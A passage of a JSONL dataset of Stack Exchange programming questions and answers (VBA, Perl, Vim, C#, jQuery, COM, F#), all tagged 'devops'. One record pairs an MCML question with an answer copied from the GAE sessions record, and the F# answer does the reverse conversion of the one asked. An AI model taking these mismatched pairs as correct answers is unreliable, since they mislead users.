"has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.589847"}
{"id": "hf_b8dcaeeae1e1", "question": "<p>In class, we learned about the halting problem, Turing machines, reductions, etc. A lot of classmates are saying these are all abstract and useless concepts, and there's no real point in knowing them (i.e., you can forget them once the course is over and not lose anything).</p>\n\n<p>Why is theory useful? Do you ever use it in your day-to-day coding? </p>\n", "question_body": "", "answer": "The things I use most:\ncomputational complexity to write algorithms that scale gracefully\nunderstanding of how memory allocation, paging, and CPU caching work so I can write efficient code\nunderstanding of data structures\nunderstanding of threading, locking, and associated problems\nAs to that stuff on Turing machines etc. I think it is important because it defines the constraints under which we all operate.  Thats important to appreciate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.626063"}
{"id": "hf_feab96c209a9", "question": "<p>What's the best way to unit test large data sets?  Some legacy code that I'm maintaining has structures of a hundred members or more; other parts of the code that we're working on create or analyze data sets of hundreds of samples.</p>\n\n<p>The best approach I've found so far is to serialize the structures or data sets from disk, perform the operations under test, serialize the results to disk, then diff the files containing the serialized results against files containing expected results.  This isn't terribly fast, and it violates the \"don't touch the disk\" principle of unit testing.  However, the only alternative I can think of (writing code to initialize and test hundreds of members and data points) seems unbearably tedious.</p>\n\n<p>Are there any better solutions?  </p>\n", "question_body": "", "answer": "This is still a viable approach. Although, I would classify this as a functional test, or just not a pure unit test. A good unit test would be to take a sampling of those records that gives to a good distribution of the edge cases you may encounter, and write those up. Then, you have your last \"acceptance\" or \"functional\" test with your bulk test on all the data.\nI have use this approach when testing large amounts of data, and i find it works well enough because the small units are maintainable, and then I know that the bulk test works, and it's all automatic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.650461"}
{"id": "hf_88b2e7306be1", "question": "<p>I have trouble comparing 2 double in Excel VBA</p>\n\n<p>suppose that I have the following code</p>\n\n<pre><code>Dim a as double\nDim b as double\na = 0.15\nb = 0.01\n</code></pre>\n\n<p>After a few manipulations on b, b is now equal to 0.6</p>\n\n<p>however the imprecision related to the double data type gives me headache because</p>\n\n<pre><code>if a = b then\n //this will never trigger\nend if\n</code></pre>\n\n<p>Do you know how I can remove the trailing imprecision on the double type?</p>\n", "question_body": "", "answer": "It is never wise to compare doubles on equality.\nSome decimal values map to several floating point representations. So one 0.6 is not always equal to the other 0.6.\nIf we subtract one from the other, we probably get something like 0.00000000051.\nWe can now define equality as having a difference smaller that a certain error margin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.675250"}
{"id": "hf_c80e5269c332", "question": "<p>Finding out what's selected in real browsers is as simple as:</p>\n\n<pre><code>var range = {\n  start: textbox.selectionStart,\n  end: textbox.selectionEnd\n}\n</code></pre>\n\n<p>But IE, as usual, doesn't understand. What's the best cross-browser way to do this?</p>\n", "question_body": "", "answer": "My current solution is verbose and based on\nthis thread\n, but I'm open to better solutions.\n```\n```\nfunction getSelection(inputBox) {\n    if (\"selectionStart\" in inputBox) {\n        return {\n            start: inputBox.selectionStart,\n            end: inputBox.selectionEnd\n        }\n    }\n\n    //and now, the blinkered IE way\n    var bookmark = document.selection.createRange().getBookmark()\n    var selection = inputBox.createTextRange()\n    selection.moveToBookmark(bookmark)\n\n    var before = inputBox.createTextRange()\n    before.collapse(true)\n    before.setEndPoint(\"EndToStart\", selection)\n\n    var beforeLength = before.text.length\n    var selLength = selection.text.length\n\n    return {\n        start: beforeLength,\n        end: beforeLength + selLength\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.699966"}
{"id": "hf_a2b79f9f6d41", "question": "<p>Given the following file:</p>\n\n<pre><code>department=value1\nlocation=valueA\nlocation=valueB\ndepartment=value2\n</code></pre>\n\n<p>I use the following to load the file into a Perl hash:</p>\n\n<pre><code>use File::Slurp;\nuse Data::Dumper;\nmy %hash = map {\n   s/#.*//;\n   s/^\\s+//;\n   s/\\s+$//;\n   m/(.*?)\\s*=\\s*(.*)/;\n} read_file($file);\nprint Dumper(\\%hash);\n</code></pre>\n\n<p>The result, however, is as follows:</p>\n\n<pre><code>$VAR1 = {\n          'location' =&gt; 'valueB',\n          'department' =&gt; 'value2'\n        };\n</code></pre>\n\n<p>How can I load the above file into a hash with, say,</p>\n\n<pre><code>$VAR1 = {\n          'location' =&gt; 'valueA,valueB',\n          'department' =&gt; 'value1,value2'\n        };\n</code></pre>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Here you go:\n```\n```\nmy %hash;\nwhile (<FILE>)\n{\n   chomp;\n   my ($key, $val) = split /=/;\n   $hash{$key} .= exists $hash{$key} ? \",$val\" : $val;\n}\n```\n```\nThis walks through every line splitting on the '=' sign and either adds an entry or appends to an existing entry in the hash table.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.772155"}
{"id": "hf_d2eb763119b6", "question": "<p>The way I do 80-column indication in Vim seems incorrect:<code>set columns=80</code>. \nAt times I also <code>set textwidth</code>, but I want to be able to see and anticipate line overflow with the <code>set columns</code> alternative.</p>\n\n<p>This has some <strong>unfortunate</strong> side effects:</p>\n\n<ol>\n<li>I can't <code>set number</code> for fear of splitting between files that have different orders of line numbers; i.e. &lt; 100 line files and >= 100 line files will require two different <code>set columns</code> values because of the extra column used for the additional digit display. </li>\n<li>I also start new (g)Vim sessions instead of splitting windows vertically. This is because <code>vsplit</code> forces me to <code>set columns</code> every time I open or close a pane, so starting a new session is less hassle.</li>\n</ol>\n\n<p>How do you handle the 80-character indication when you want to <code>set numbers</code>, vertically split, etc.?</p>\n", "question_body": "", "answer": "I'm afraid that you've put constraints on the set of solutions that, well, leave you with the null set.\nUsing\n```\n:set textwidth=80\n```\nwill fix all of the problems you mentioned\nexcept\nthat you can't easily see the line limit coming up. If you\n```\n:set ruler\n```\n, you'll enable the x,y position display on the status bar, which you can use to see which column you're in.\nAside from that, I'm not sure what to tell you. It's a shame to lose the number column, fold column and splits just because you have to\n```\n:set columns=80\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.796607"}
{"id": "hf_e9f80ec356eb", "question": "<p>How do I sort the columns in a winforms datagrid control into alphabetical order?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Have you tried binding the DataGrid to a DataTable object (instead of a view) and turning setting the \"AllowSorting\" property to true on the DataGrid? I believe the grid will then automatically sort the table source for you.\nIf not, you can always catch the event when a column header is clicked and rebuild a DataView to bind to the DataGrid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.833562"}
{"id": "hf_26d6ed57d523", "question": "<pre><code>string [] files = new string[2];\nfiles[0] = \"ThinkFarAhead.Example.Settings.Configuration_Local.xml\";\nfiles[1] = \"ThinkFarAhead.Example.Settings.Configuration_Global.xml\";\n\n//Resharper complains this is an \"access to modified closure\"\nfor (int i = 0; i &lt; files.Length; i++ )\n{\n    // Resharper disable AccessToModifiedClosure\n    if(Array.Exists(Assembly.GetExecutingAssembly().GetManifestResourceNames(),\n    delegate(string name) { return name.Equals(files[i]); }))\n         return Assembly.GetExecutingAssembly().GetManifestResourceStream(files[i]);\n    // ReSharper restore AccessToModifiedClosure\n}\n</code></pre>\n\n<p>The above seems to work fine though ReSharper complains that this is \"access to modified closure\".  Can any one shed light on this?</p>\n\n<p>(this topic continued <a href=\"https://stackoverflow.com/questions/304258\">here</a>)</p>\n", "question_body": "", "answer": "In this case, it's okay, since you are actually executing the delegate\nwithin\nthe loop.\nIf you were saving the delegate and using it later, however, you'd find that all of the delegates would throw exceptions when trying to access files[i] - they're capturing the\nvariable\n```\ni\n```\nrather than its value at the time of the delegates creation.\nIn short, it's something to be aware of as a\npotential\ntrap, but in this case it doesn't hurt you.\nSee the\nbottom of this page\nfor a more complex example where the results are counterintuitive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.857702"}
{"id": "hf_ad221ef8fb6b", "question": "<p>I was wondering about implementing my own sessions (more for an exercise than anything else) for a GAE app I'm working ... at first I was thinking of using the datastore to store the session data. However, every time something needs to be added to the session 'bucket', it would require saving to the datastore. Obviously that's bad since we want to minimize our writes. Then I thought about using memcache ... seemed like a good idea but then we're faced with issues of possible session corruption due to memcache being \"evicted through memory pressure\" by Google. So does that mean we are left with only the following options:</p>\n\n<ol>\n<li>Storing all session data in cookies</li>\n<li>Writing all session data to datastore and memcache, and then only reading from memcache</li>\n</ol>\n\n<p>Anyone have any other ideas?</p>\n", "question_body": "", "answer": "I suggest checking out (and contributing to) these three implementations of appengine sessions before rolling out your own:\napp-engine-patch\ngaeutilities\ngae-session\nYour options look fine but choosing between them probably depends on the size of the session data in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.881254"}
{"id": "hf_8220714b49f7", "question": "<p>Can anyone suggest some references or other resources that are useful in learning MCML?</p>\n\n<p>I have a small pet project I have been working on for a while using C# and .Net 3.5. I have reached a point where I want to be able to send output from it to Windows Media Center, but I have been having a hard time finding coherent explanations of how to create MCML elements to represent my C# data objects.  Particularly I am having  a hard time finding information on creating an MCML element for each element in a C# collection.  Any suggestions?</p>\n", "question_body": "", "answer": "I suggest checking out (and contributing to) these three implementations of appengine sessions before rolling out your own:\napp-engine-patch\ngaeutilities\ngae-session\nYour options look fine but choosing between them probably depends on the size of the session data in your application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.906133"}
{"id": "hf_eb64a3cd0da7", "question": "<p>Is there a way to show IE/Firefox Back button style, dropdown menu button?</p>\n", "question_body": "", "answer": "Sure.  Put a toolbar on the page.  Right-click on the toolbar, add a button. Set the button's style to tbsDropDown.  Put a PopupMenu on the page.  Double click on the PopupMenu to define menu items.  Then, go back to the button you created and set its DropdownMenu property to point to the PopupMenu you just created.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.929542"}
{"id": "hf_2e714c1026d1", "question": "<p>What is the best way to validate a crontab entry with PHP? Should I be using a regex, or an external library? I've got a PHP script that adds/removes entries from a crontab file, but want to have some way to verify that the time interval portion is in a valid format.</p>\n", "question_body": "", "answer": "You should be able to do that fairly easily with regex. In fact, I wouldn't be surprised if you could find an existing regex for just that on Google. This is untested, but perhaps something like:\n```\n```\n/^((\\*)|(\\d+((-\\d+)|(,\\d+)+))\\s+){5}/\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.953276"}
{"id": "hf_703deb12f041", "question": "<p>Using jQuery, how would you <code>show()</code> every <code>div.foo</code> on a page in a random order, with a new one appearing every X milliseconds?</p>\n\n<p><strong>Clarification</strong>: I want to start with all these elements hidden and end with all of them showing, so it wouldn't make sense to <code>show()</code> the same element twice.</p>\n\n<p>I originally thought I'd make an array listing all the elements, randomly pick one, show that one, remove it from the array using <code>splice()</code>, and then randomly pick the next one from the remaining list - etc. But since my array is part of a jQuery object, <code>splice()</code> is not available.</p>\n", "question_body": "", "answer": "I don't use jQuery myself, but what about this:\n```\n```\nvar intervalMilliseconds = X; // set to your value for X\nvar divFoos = $(\"div.foo\").get();\nvar intervalId = setInterval(function() {\n   $(divFoos.splice(Math.floor(Math.random() * divFoos.length), 1)).show();\n   if(divFoos.length == 0) clearInterval(intervalId);\n}, intervalMilliseconds);\n```\n```\nThat should do the trick.\nUPDATE: Since your description isn't explicit about it, I assumed you meant that you ultimately want to show all of them, and that once they are visible, we are done. If not, please explain further so I can update this (if you can't already determine what you need from the code I provided).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:07.989751"}
{"id": "hf_2d42b1fc92c9", "question": "<p>I am using a mock object in RhinoMocks to represent a class that makes calls to MessageQueue.GetPublicQueues. I want to simulate the exception thrown when message queueing is operating in workgroup mode, which is a MessageQueueException, to ensure that I am catching the exception correctly</p>\n\n<p>The MessageQueueException has no public constructor, only the standard protected constructor for an exception. Is there an appropriate way to throw this exception from the mock object / Expect.Call statement?</p>\n", "question_body": "", "answer": "Reflection can break the accessibility rulez.  You\nwill\nvoid the warranty, a .NET update can easily break your code.  Try this:\n```\n```\nusing System.Reflection;\nusing System.Messaging;\n...\n        Type t = typeof(MessageQueueException);\n        ConstructorInfo ci = t.GetConstructor(BindingFlags.NonPublic | BindingFlags.Instance, \n          null, new Type[] { typeof(int) }, null);\n        MessageQueueException ex = (MessageQueueException)ci.Invoke(new object[] { 911 });\n        throw ex;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.038823"}
{"id": "hf_cc097f10a5d6", "question": "<p>I've seen with Microsoft COM and XPCOM, at least from what I've read and gathered so far, that the implementations of interfaces in a component have to essentially be in the single class that derives all the virtual interfaces. Is this correct? What am I missing?</p>\n\n<p>Is there a way to have multiple objects (possibly in separate DLL's) each provide their functionality and still be able to freely transition between them using QueryIterface?</p>\n\n<p>What I'm looking for is to have a component with some functionality, but still allow external client code to create new extensions of the component with (possibly) new interfaces. Ideally this should happen without divulging the current source of the component and its implementation.</p>\n", "question_body": "", "answer": "This should be possible, although probably not supported by the standard high-level wrappers. Most of the wrappers (ATL, MFC, etc.) only support mapping a COM object to a single class. However, QueryInterface is allowed to return a different pointer and calls COM object code, so the first COM object could load a different DLL, instantiate a different object, and return a pointer to it's interface (vtable).\nIt's all possible as far as I know, you'll just likely be writing a lot of the low-level glue code yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.063379"}
{"id": "hf_e4d280cf81e4", "question": "<p>What is the best way to overwrite a specific line in a file? I basically want to search a file for the string '@parsethis' and overwrite the rest of that line with something else.</p>\n", "question_body": "", "answer": "If the file isn't too big, the best way would probably be to read the file into an array of lines with\nfile()\n, search through the array of lines for your string and edit that line, then\nimplode()\nthe array back together and\nfwrite()\nit back to the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.087344"}
{"id": "hf_8df789f43dc4", "question": "<p>It seems like each body section in an <em>axapta</em> report can only print columns from a single table(consistantly).  For instance:\nI have a report that has the following tables: SalesLine, InventTable and CustTable.  Then I would like to print columns from each of this tables on the same row.  It seems like I can do this when placing the fields in programmable sections but not when I place them in body sections.</p>\n\n<p>I have found a few workaround that are either ugly or non-performant.  There has to be a nice clean way to do this?</p>\n", "question_body": "", "answer": "It should be possible to do this, there are several reports in the base system that work this way. Look at the SalesContractShipment report in 4.0 as an example.\nOn your report, create a datasource for SalesLine, and under that create datasource each for InventTable and CustTable. On InventTable and CustTable, make sure the FetchMode is set to 1:1. If you create a custom fetch method, make sure you call send() in the correct order.  You should send CustTable first, then InventTable, then SalesLine last. On the report design, create a single body for SalesLine. You should then be able to use fields from any of the three tables in that body.\nIf you are still having trouble, I can think of two work arounds. One is to create a view based on those three tables, and create a report based on that view. The other is to create the report based on SalesLine and use displayMethods to lookup any fields you need from InventTable or CustTable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.111142"}
{"id": "hf_2bbc64b80030", "question": "<p>I was wondering what is the best data structure to deal with a lot of moving objects(spheres, triangles, boxes, points, etc)?  I'm trying to answer two questions, Nearest Neighbor and Collsion detection.</p>\n\n<p>I do realize that traditionally, data structures like R trees are used for nearest neighbor queries and Oct/Kd/BSP are used for collision detection problems dealing with static objects, or with very few moving objects.</p>\n\n<p>I'm just hoping that there is something else out there that is better.</p>\n\n<p>I appreciate all the help.</p>\n", "question_body": "", "answer": "Bounding Spheres probably would help you with many moving objects; you calculate the radius squared of the object, and track it from it's center.  If the squared distance between the centers of two objects is less than the sum of the squared radii of the two objects, then you have a potential collision.  Everything done with squared distances; no square roots.\nYou can sort nearest neighbors by the minimum squared distance between your objects.  Collision detection can get complex, of course, and with non-spherically shaped objects, Bounding Spheres won't necessarily get you collision information, but it can prune your tree of objects you need to compare for collision quite nicely.\nYou'll need, of course, to track the CENTER of your object; and ideally you'd like for each object to be rigid, to avoid having to recalculate bounding sphere sizes (although the recalculation isn't particularly tough, particularly if you use a tree of rigid objects each with their own bounding sphere for the objects which are non-rigid; but it gets complicated).\nBasically, to answer your question about data structures, you can keep all of your objects in a master array; I'd have a set of \"region\" arrays which consist of references to the objects in the master array that you can sort the objects into quickly based upon their cartesian coordinates; the \"region' arrays should have an overlap defined of at least 2x the largest object radius in your master object array (if that's feasible; a question of object bounding sphere scaling vs. number of objects obviously comes up).\nOnce you've got that, you can do a quick collision test by comparing distances of all objects within a region to each other; again, this is where region definition becomes important, because you're doing a significant tradeoff of number of regions to number of comparisons.  However, it's a little simpler just because your distance comparisons come down to simple subtractions (and abs() operations, of course).\nOf course, then you have to do actual collision detection between your non-spherical objects, and that can be non-trivial, but you've reduced the number of potential comparisons very dramatically at that point.\nBasically, it's a two-tiered system; the first is the region array, whereby you do a rough sort on your scene.  Second, you have your intra-region distance comparison; wherein you're going to do your basic collision detection and collision flagging on the objects which have collided.\nThere probably is room in this sort of algorithm for use of trees in dynamic region determination to even out your region sizes to assure that your region size doesn't grow too rapidly with \"crowded\" regions; that sort of thing, though, is non-trivial, because with objects of differing sizes, your sort on density becomes... complex, to say the least.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.170622"}
{"id": "hf_ebf014610024", "question": "<p>There are many different styles of variable names that I've come across over the years.</p>\n\n<p>The current wikipedia entry on naming conventions is fairly light...  </p>\n\n<p>I'd love to see a concise catalog of variable naming-conventions, identifying it by a name/description, and some examples.  </p>\n\n<p>If a convention is particularly favored by a certain platform community, that would be worth noting, too.</p>\n\n<p>I'm turning this into a community wiki, so please create an answer for each convention, and edit as needed.</p>\n", "question_body": "", "answer": "Sun published a list of variable name conventions for Java\nhere\n.  The list includes conventions for naming packages, classes, interfaces, methods, variables, and constants.\nThe section on variables states\nExcept for variables, all instance, class, and class constants are in mixed case with a lowercase first letter. Internal words start with capital letters. Variable names should not start with underscore _ or dollar sign $ characters, even though both are allowed.\nVariable names should be short yet meaningful. The choice of a variable name should be mnemonic- that is, designed to indicate to the casual observer the intent of its use. One-character variable names should be avoided except for temporary \"throwaway\" variables. Common names for temporary variables are i, j, k, m, and n for integers; c, d, and e for characters.\nSome examples include\n```\n```\nint             i;\nchar            c;\nfloat           myWidth;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.194788"}
{"id": "hf_8d7557a38482", "question": "<p>After looking at another question on SO (<a href=\"https://stackoverflow.com/questions/235386/using-nan-in-c\">Using NaN in C++</a>) I became curious about <code>std::numeric_limits&lt;double&gt;::signaling_NaN()</code>.</p>\n\n<p>I could not get signaling_NaN to throw an exception. I thought perhaps by signaling it really meant a signal so I tried catching SIGFPE but nope...</p>\n\n<p>Here is my code:</p>\n\n<pre><code>double my_nan = numeric_limits&lt;double&gt;::signaling_NaN();\nmy_nan++;\nmy_nan += 5;\nmy_nan = my_nan / 10;\nmy_nan = 15 / my_nan;\ncout &lt;&lt; my_nan &lt;&lt; endl;\n</code></pre>\n\n<p><code>numeric_limits&lt;double&gt;::has_signaling_NaN</code> evaluates to true, so it is implemented on my system.</p>\n\n<p>Any ideas?</p>\n\n<p>I am using ms visual studio .net 2003's C++ compiler. I want to test it on another when I get home.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "From\nTFM\n:\n```\n```\ncout << \"The signaling NaN for type float is:  \"\n    << numeric_limits<float>::signaling_NaN( )\n    << endl;\n```\n```\n->\nThe signaling NaN for type float is:  1.#QNAN\nwhere the 'Q' stands for 'Quiet'. Dunno why it would return that, but that's why it doesn't throw an exception for you.\nOut of curiosity, does this work better?\n```\n```\nconst double &real_snan( void )\n{\n    static const long long snan = 0x7ff0000080000001LL;\n    return *(double*)&snan;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.230502"}
{"id": "hf_51b3ab40e302", "question": "<p>I wanted to add a UTF-8 font in Gvim but I could not find out how to do this.\nI tried to follow the step on this manual but it still did not work.\n<a href=\"http://www.inter-locale.com/whitepaper/learn/learn_to_type.html\" rel=\"noreferrer\">http://www.inter-locale.com/whitepaper/learn/learn_to_type.html</a> (vim section halfway the page)</p>\n\n<p>Can anyone tell me how to add a font in Vim so I can have Japanese characters displayed ?</p>\n", "question_body": "", "answer": "Quote from the\nvim documentation\n:\nFor MS-Windows, some fonts have a limited number of Unicode characters.  Try\nusing the \"Courier New\" font.  You can use the Edit/Select Font... menu to\nselect and try out the fonts available.  Only fixed-width fonts can be used\nthough.  Example:\n```\n```\n:set guifont=courier_new:h12\n```\n```\nSo, I guess, unless you find a fixed width font containing the characters you want to display, then you are out of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.266118"}
{"id": "hf_62badb08f734", "question": "<p>I was looking through a thread dump of a java process, and notice some threads blocked by signal dispatcher.</p>\n\n<p>What is signal dispatcher?  What does it do?</p>\n", "question_body": "", "answer": "I found an article about this on IBM developerWorks. When the OS raises a signal to the JVM, the signal dispatcher thread will pass the signal to the appropriate handler\nRevelations on Java signal handling and termination\nby Chris White, Software Engineer, IBM", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.289549"}
{"id": "hf_7b6c78898a81", "question": "<p>I'm writing a client-server app using BSD sockets.  It needs to run in the background, continuously transferring data, but cannot hog the bandwidth of the network interface from normal use.  Depending on the speed of the interface, I need to throttle this connection to a certain max transfer rate.</p>\n\n<p>What is the best way to achieve this, programmatically?</p>\n", "question_body": "", "answer": "The problem with sleeping a constant amount of 1 second after each transfer is that you will have choppy network performance.\nLet BandwidthMaxThreshold be the desired bandwidth threshold.\nLet TransferRate be the current transfer rate of the connection.\nThen...\nIf you detect your TransferRate > BandwidthMaxThreshold then you do a SleepTime =  1 + SleepTime * 1.02 (increase sleep time by 2%)\nBefore or after each network operation do a \nSleep(SleepTime)\nIf you detect your TransferRate is a lot lower than your BandwidthMaxThreshold you can decrease your SleepTime.  Alternatively you could just decay/decrease your SleepTime over time always.  Eventually your SleepTime will reach 0 again.\nInstead of an increase of 2% you could also do an increase by a larger amount linearly of the difference between TransferRate - BandwidthMaxThreshold.\nThis solution is good, because you will have no sleeps if the user's network is already not as high as you would like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.391907"}
{"id": "hf_7981298c9399", "question": "<p>Do you primarily think of reasons TO implement it, or reasons NOT TO implement it? What are the advantages of each?</p>\n", "question_body": "", "answer": "I think first about the stakeholder (the client).\nWill that feature help\nhim\n? Is it indeed a functional feature that brings value?\nThen I think about technical implications and the resulting complexity, in order to evaluate the trade off between implementation cost vs. not having that feature.\nBased on those two first elements of reflexions, I can begin to know if I must implement it or not.\nI guess there is no clear cut between reasons to or not not implement it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.439643"}
{"id": "hf_97934c892efd", "question": "<p>It should be trivial, and it might even be in the help, but I can't figure out how to navigate it. How do I indent multiple lines quickly in vi?</p>\n", "question_body": "", "answer": "Use the\n>\ncommand. To indent five lines,\n5\n>\n>\n. To mark a block of lines and indent it,\nV\nj\nj\n>\nto indent three lines (Vim only). To indent a curly-braces block, put your cursor on one of the curly braces and use\n>\n%\nor from anywhere inside block use\n>\ni\nB\n.\nIf you’re copying blocks of text around and need to align the indent of a block in its new location, use\n]\np\ninstead of just\np\n. This aligns the pasted block with the surrounding text.\nAlso, the\n```\nshiftwidth\n```\nsetting allows you to control how many spaces to indent.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.489334"}
{"id": "hf_81da611c0fea", "question": "<p>How can I convert an <code>Int64</code> to an <code>Int32</code> type in F# without using the <code>Microsoft.FSharp.Compatibility.Int32.of_int64</code>?</p>\n\n<p>I'm doing this because interactive doesn't seem to work when I try:</p>\n\n<pre><code>open Microsoft.FSharp.Compatibility\n</code></pre>\n\n<p>With <code>FSharp.PowerPack</code> added as a reference it says: </p>\n\n<blockquote>\n  <p>error FS0039: The namespace 'Compatibility' is not defined.</p>\n</blockquote>\n\n<p><strong>Edit:</strong> Does anyone have an answer to the question?  The suggestions about the int types are useful and informative, but I'm having the same issue opening the powerpack namespace in F# interactive.</p>\n", "question_body": "", "answer": "F# 1.9.6 has a type conversion function so you can do this:\n```\n```\nlet num = 1000\nlet num64 = int64(num)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.591632"}
{"id": "hf_d83fc8f8da00", "question": "<p>Making a small app, and I want a function to execute 50% of the time.  So if I were to dbl click the exe half the time the function would execute, and the other half it wouldn't.  I can't seem to find anyway to easily do this, the one solution I tried seemed to determine the chance on compile rather than on run.  Thanks in advance!</p>\n", "question_body": "", "answer": "Generate a random decimal number between 0 and 1. If it is greater than 0.5 run, if it is less than or equal to 0.5 do not run.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:08.641544"}
